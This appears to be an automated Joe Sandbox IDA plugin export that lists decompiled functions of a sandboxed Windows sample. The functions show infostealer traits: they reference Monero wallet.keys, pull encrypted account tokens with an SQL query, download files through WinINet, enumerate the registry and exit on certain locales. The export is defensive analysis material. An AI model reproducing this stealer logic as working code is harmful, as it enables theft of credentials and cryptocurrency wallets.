Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: ceb41a6d2e9d040866573724c53306f5ce2c7618089f148583eae67f809dff09
Instruction ID: f9e66a1022051dcb55224c4ed900ce1e242ef5aff4c4a339a42aa46437d4597e
Opcode Fuzzy Hash: ceb41a6d2e9d040866573724c53306f5ce2c7618089f148583eae67f809dff09
Instruction Fuzzy Hash: 79215CB1E44208ABDF00DFD4DD4AFAEB7B8FB45B04F104209F605BB280C77869018BA5

Function 000860A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00084839
Part of subcall function 000847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00084849

InternetOpenA.WININET(000A0DF7,00000001,00000000,00000000,00000000), ref: 0008610F
StrCmpCA.SHLWAPI(?,00D3FCE0), ref: 00086147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0008618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 000861B3
InternetReadFile.WININET(?,?,00000400,?), ref: 000861DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0008620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00086249
InternetCloseHandle.WININET(?), ref: 00086253
InternetCloseHandle.WININET(00000000), ref: 00086260

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: ecc40172b3cf92a1284d21c04676cb898f536ec57118eaba6c73d0d083393c5a
Instruction ID: 39bc09f5b34554ab2756e51c4e466bcdd2727355e9761328b8acea57106f5164
Opcode Fuzzy Hash: ecc40172b3cf92a1284d21c04676cb898f536ec57118eaba6c73d0d083393c5a
Instruction Fuzzy Hash: 1B5161B1A00218ABDF20EF50DC49FEEB7B8FB44705F108098B645A72C1DB756A89CF95

Function 0008BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

lstrlen.KERNEL32(00000000), ref: 0008BC9F

Part of subcall function 00098E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00098E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0008BCCD
lstrlen.KERNEL32(00000000), ref: 0008BDA5
lstrlen.KERNEL32(00000000), ref: 0008BDB9

Strings

AccountTokens, xrefs: 0008BABA
AccountId, xrefs: 0008BCC4
AccountTokens, xrefs: 0008BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0008BBEB

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 1550926af4f867b03dfcefa438ef8b2cf2d8abfaf860d0dce5a864a5ebfdf470
Instruction ID: 3494c23ae03be3f28986ac5020bb7c588b66600e52d3c53d89c382a87fd93ea3
Opcode Fuzzy Hash: 1550926af4f867b03dfcefa438ef8b2cf2d8abfaf860d0dce5a864a5ebfdf470
Instruction Fuzzy Hash: DDB12072A10118ABDF04FBA0DD96EEE737CBF55300F504169F506A6092EF346A49DBE2

Function 00096770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00096774
ExitProcess.KERNEL32 ref: 000967A5
ExitProcess.KERNEL32 ref: 000967AF
ExitProcess.KERNEL32 ref: 000967B9
ExitProcess.KERNEL32 ref: 000967C3
ExitProcess.KERNEL32 ref: 000967CD

Strings

*, xrefs: 0009678C

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 4a26df422eb18943bdad209cd03e689ba508a38e8915f44330b6a0f6024f9d34
Instruction ID: 298eba823dc7ca74481b7f2477490ca3f7f7a69f9112d580d867fda11bd53a47
Opcode Fuzzy Hash: 4a26df422eb18943bdad209cd03e689ba508a38e8915f44330b6a0f6024f9d34
Instruction Fuzzy Hash: C8F03A3090820DEFD7449FE0BD1DB6CFB70FB0470AF040199E60986290D6764A419B96

Function 00084FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00084FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00084FD1
InternetOpenA.WININET(000A0DDF,00000000,00000000,00000000,00000000), ref: 00084FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00085011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00085041
InternetCloseHandle.WININET(?), ref: 000850B9
InternetCloseHandle.WININET(?), ref: 000850C6

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: a46f9da14256259c293d7fe62ead09acbc7a8c52b320793a489af32475b95322
Instruction ID: fd424e37543ea0513a47bf13754611a08872d5eb00bf0a3224bfabc0ff6addeb
Opcode Fuzzy Hash: a46f9da14256259c293d7fe62ead09acbc7a8c52b320793a489af32475b95322
Instruction Fuzzy Hash: 3331F7B4A0021CABDB20DF54DC89BDDB7B4FB48709F5081D9EA09A7281D7706AC58F99

Function 000983DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00098426
wsprintfA.USER32 ref: 00098459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0009847B
RegCloseKey.ADVAPI32(00000000), ref: 0009848C
RegCloseKey.ADVAPI32(00000000), ref: 00098499

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

RegQueryValueExA.ADVAPI32(00000000,00D3F278,00000000,000F003F,?,00000400), ref: 000984EC
lstrlen.KERNEL32(?), ref: 00098501
RegQueryValueExA.ADVAPI32(00000000,00D3F248,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,000A0B34), ref: 00098599
RegCloseKey.ADVAPI32(00000000), ref: 00098608
RegCloseKey.ADVAPI32(00000000), ref: 0009861A

Strings

%s\%s, xrefs: 0009844D

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 8181f026aa32424ba3eb091e8439ef0a827b98a58822ab00b8df2f9fe85323af
Instruction ID: d3e448c92bd64a8e7e9d4c4ccc6f03eae0e4b502a71defd288c1f88b4382608d
Opcode Fuzzy Hash: 8181f026aa32424ba3eb091e8439ef0a827b98a58822ab00b8df2f9fe85323af
Instruction Fuzzy Hash: 8E21EB7191021C9BDB64DB54DC85FE9B3B8FB48704F00C5D8E649A6240DF716A85CFD4

Function 00097690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000976A4
RtlAllocateHeap.NTDLL(00000000), ref: 000976AB
RegOpenKeyExA.ADVAPI32(80000002,00D2BDF0,00000000,00020119,00000000), ref: 000976DD
RegQueryValueExA.ADVAPI32(00000000,00D3F098,00000000,00000000,?,000000FF), ref: 000976FE
RegCloseKey.ADVAPI32(00000000), ref: 00097708

Strings

Windows 11, xrefs: 000976BD

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 9458c30296f10069c9c9060e31f9103a1d05ac4bccc30a79142348960a314c1a
Instruction ID: a8e3920d274236e3eca6559199eee7c483683ec8489c8f47ee94ed1a0f88450a
Opcode Fuzzy Hash: 9458c30296f10069c9c9060e31f9103a1d05ac4bccc30a79142348960a314c1a
Instruction Fuzzy Hash: 38016DB5A0420CBBEB00DBE4EC4DFAEB7B8EB48709F104194FA08D7291E6749904DB51

Function 00097720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00097734
RtlAllocateHeap.NTDLL(00000000), ref: 0009773B
RegOpenKeyExA.ADVAPI32(80000002,00D2BDF0,00000000,00020119,000976B9), ref: 0009775B
RegQueryValueExA.ADVAPI32(000976B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0009777A
RegCloseKey.ADVAPI32(000976B9), ref: 00097784

Strings

CurrentBuildNumber, xrefs: 00097771

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 5f27788bcb3697c08a86eeb62e5601f19d59682e83246be7f60bec6eb51ea014
Instruction ID: 586df8aa2f1317cbda031f23b287618f71223e806fe60605c437993ef6cc1bb5
Opcode Fuzzy Hash: 5f27788bcb3697c08a86eeb62e5601f19d59682e83246be7f60bec6eb51ea014
Instruction Fuzzy Hash: 440112B5A4030CBBEB00DBE4EC4EFAEB7B8FB48705F104559FA05A7291DA705A04CB52

Function 000992E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:,80000000,00000003,00000000,00000003,00000080,00000000,?,00093AEE,?), ref: 000992FC
GetFileSizeEx.KERNEL32(000000FF,:), ref: 00099319
CloseHandle.KERNEL32(000000FF), ref: 00099327

Strings

:, xrefs: 000992F8, 000992FB
:, xrefs: 00099311, 0009933D, 00099314

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :$:
API String ID: 1378416451-2052217321
Opcode ID: 356b33fdd8518e6db723fba3d68a02ecfbf1fcb84999b1e2034a7e98aac1810c
Instruction ID: 7b95bd8a590ced5df0d69f5119013ad1a842c8fe76755c33039d69fb99ab2d02
Opcode Fuzzy Hash: 356b33fdd8518e6db723fba3d68a02ecfbf1fcb84999b1e2034a7e98aac1810c
Instruction Fuzzy Hash: C2F03C75E44208FBDF20DFB4EC49F9EB7B9AB48710F10C258B651A72D0D67097019B50

Function 000940B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000940D5
RegOpenKeyExA.ADVAPI32(80000001,00D3E0A8,00000000,00020119,?), ref: 000940F4
RegQueryValueExA.ADVAPI32(?,00D3F338,00000000,00000000,00000000,000000FF), ref: 00094118
RegCloseKey.ADVAPI32(?), ref: 00094122
lstrcat.KERNEL32(?,00000000), ref: 00094147
lstrcat.KERNEL32(?,00D3F2D8), ref: 0009415B

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bb0444b8925def8c62fa2a5b92dd591d1fc0907e19881c1130ae442f59dbe817
Instruction ID: 50b276cea78cf827573cde4a01559659fc521300c690b37dc4eeecf2a91f2029
Opcode Fuzzy Hash: bb0444b8925def8c62fa2a5b92dd591d1fc0907e19881c1130ae442f59dbe817
Instruction Fuzzy Hash: 59418AB6D0010CABDB14FBA0FC4AFED777DBB48304F004558B61996182EA755B888B92

Function 000899C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000899EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00089A11
LocalAlloc.KERNEL32(00000040,?), ref: 00089A31
ReadFile.KERNEL32(000000FF,?,00000000,0008148F,00000000), ref: 00089A5A
LocalFree.KERNEL32(0008148F), ref: 00089A90
CloseHandle.KERNEL32(000000FF), ref: 00089A9A

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: e32dca6dd4ea3f3804a519cc0228b1248e925d7cb21d83f1890517c655ed142f
Instruction ID: d6f8461af0857a3cfb945ad84c8623d296412c710e55632014b62b6fe7b80baa
Opcode Fuzzy Hash: e32dca6dd4ea3f3804a519cc0228b1248e925d7cb21d83f1890517c655ed142f
Instruction Fuzzy Hash: DE310AB4A00209EFDB14EF94D989FAE7BF9FF48344F148158E911A7290D774A941CFA2

Function 0009C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0009C8BF
